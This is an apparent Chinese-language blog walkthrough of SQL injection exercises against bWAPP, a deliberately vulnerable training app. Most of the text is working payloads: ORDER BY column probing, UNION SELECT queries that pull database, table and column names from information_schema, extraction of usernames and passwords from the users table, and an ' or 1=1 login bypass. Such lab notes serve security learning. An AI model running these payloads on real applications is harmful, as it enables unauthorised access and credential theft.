单击加号即可展开

SQL Inject

先查列数,1’ order by 1#正常

1’ order by 8# 错误

1’ order by 7#正常

说明为7列

然后进行注入,

1’ union select 1,2,3,4,5,user(),database()#

输入后只显示数字不显示内容

Title:2  Release:3  Character:5   Genre:4    IMDb:Link

显示2354,将user(),database(),version(),放到2,3,5,4,的位置

应该为

1’ union select 1,database(),user(),4,5,6,7#

然后显示的就是数据库和用户名了

接下来开始更深层注入

1‘ union select 1,table_name,3,4,5,6,7 from information_schema.tables where table_schema=’数据库名’#     查询到表明,然后查询字段名

1; union select 1,table_name,3,4,5,6,7 from information_schema.columns where table_name=’字段名’#       查询到字段名,然后查询列

1’ union select 1,login,password,4,5,6,7 from bwapp.users#

 

查询列完毕

这个用BP抓包注入无效,需要在url里面注入,即浏览器url注入

通过movie=2可以看出可能是数字型,

要让movie等一个数据表中不存在的书,让他报错,需要在movie=1改成movie=-1,肯定不存在的。

然后查询数据库,获取数据表,

先查列数, order by 1#正常

 order by 8# 错误

 order by 7#正常

这个神奇的是#可以加或者不加都可以注入的

接下来查询数据库

movie=-1 union select 1,database(),3,4,5,6,7

查询到数据库为bwapp

然后开始进行数据表查询

movie=-1 union select 1,table_name,3,4,5,6,7 from information_schema.tables where table_schema=database()

发现显示的只有一行,我们要用group_concat()函数包裹住table_name

然后就可以吧所有的表都列在Title栏中

利用group_concat()函数:

union select 1,group_concat(table_name),3,4,5,6,7 from information_schema.tables where table_schema=database()

然后找到users表进行输入,继续使用group_concat()函数

Union select 1,group_concat(column_name) from information_schema.columns where table_name=’数据表’

查询到数据表后,然后查询列

union select 1,password,admin,4,5,6,7 from bwapp.users

判断列数,

1’ order by 1#   无回显内容

1’ order by 8#   出错

1’ order by 7#   无回显内容

确认列数为7,然后进行注入,

1’ union select 1,2,3,4,5,user(),database()#

输入后只显示数字不显示内容

Title:2  Release:3  Character:5   Genre:4    IMDb:Link

显示2354,将user(),database(),version(),放到2,3,5,4,的位置

应该为

1’ union select 1,database(),user(),4,5,6,7#

然后显示的就是数据库和用户名了

接下来开始更深层注入

1‘ union select 1,table_name,3,4,5,6,7 from information_schema.tables where table_schema=’数据库名’#     查询到表明,然后查询字段名

1; union select 1,table_name,3,4,5,6,7 from information_schema.columns where table_name=’字段名’#       查询到字段名,然后查询列

1’ union select 1,login,password,4,5,6,7 from bwapp.users#

 

查询列完毕

这个使用BP抓取数据包进行注入,无需在浏览器url注入

通过movie=2可以看出可能是数字型,

要让movie等一个数据表中不存在的书,让他报错,需要在movie=1改成movie=-1,肯定不存在的。

然后查询数据库,获取数据表,

先查列数, order by 1#正常

 order by 8# 错误

 order by 7#正常

这个神奇的是#可以加或者不加都可以注入的

接下来查询数据库

movie=-1 union select 1,database(),3,4,5,6,7

查询到数据库为bwapp

然后开始进行数据表查询

movie=-1 union select 1,table_name,3,4,5,6,7 from information_schema.tables where table_schema=database()

发现显示的只有一行,我们要用group_concat()函数包裹住table_name

然后就可以吧所有的表都列在Title栏中

利用group_concat()函数:

union select 1,group_concat(table_name),3,4,5,6,7 from information_schema.tables where table_schema=database()

然后找到users表进行输入,继续使用group_concat()函数

Union select 1,group_concat(column_name) from information_schema.columns where table_name=’数据表’

查询到字段后,然后查询列

union select 1,password,admin,4,5,6,7 from bwapp.users

 

 

万能用户1’ or 1=1 #+

深层注入

使用浏览器 Web Developer插件进行注入

万能用户成功后,会显示Welcome欢迎字样

然后点击插件的Load URL进行url导入

再点击下方的Post data导入数据包有关的登录信息

会看到login=….&password=…&from=…

然后在Login里面进行注入

先测试列

1’ order by 1#+   显示失败信息

1’ order by 5#+   显示错误

1’ order by 4#+   显示失败信息

可以看出为4列

然后进行查询数据库

1’ union select 1,2,3,database()# 

显示数据库为bwapp

查看回显信息可得可用为2,4 ,所以要在2和4这两列注入

然后进行数据表查询,要使用group_concat()函数进行数据包裹

1’ union select 1,2,3,group_concat(table_name) from information_schema.tables where table_schema=database()#

可以看到表了,然后进行进行字段查询

1’ union select 1,2,3,group_concat(table_schema) from information_schema.columns where table_name=’表名’#

然后就是

1’ union select 1,login,2,password from bwapp.users#

 

注:查询列也可以使用group_concat()函数

最后修改:2019 年 04 月 03 日 08 : 34 AM
如果觉得我的文章对你有用,请随意赞赏